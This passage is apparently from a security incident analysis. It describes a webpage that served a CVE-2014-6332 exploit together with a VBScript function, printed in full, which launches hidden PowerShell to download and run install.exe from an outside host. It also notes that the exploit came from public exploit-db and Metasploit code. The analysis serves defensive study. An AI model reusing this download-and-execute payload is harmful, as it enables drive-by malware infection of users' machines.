The webpage contained both CVE-2014-6332 exploit code and a VBScript that invoked PowerShell on the affected users’ system to download the below payload:     function runmumaa()     On Error Resume Next     set shell=createobject("Shell.Application")     shell.ShellExecute "powershell.exe","-NoLogo -NoProfile                 -NonInteractive -WindowStyle Hidden ( New-Object                         “System.Net.WebClient”).DownloadFile(“http://www.playboysplus.com        /install/install.exe”,”install.exe”);Invoke-Item install.exe", "",         "open", 1     end function The CVE-2014-6332 exploit code seen in this incident is derived from the code published at http://www.exploit-db.com/exploits/35230/, which has also been incorporated in the Metasploit project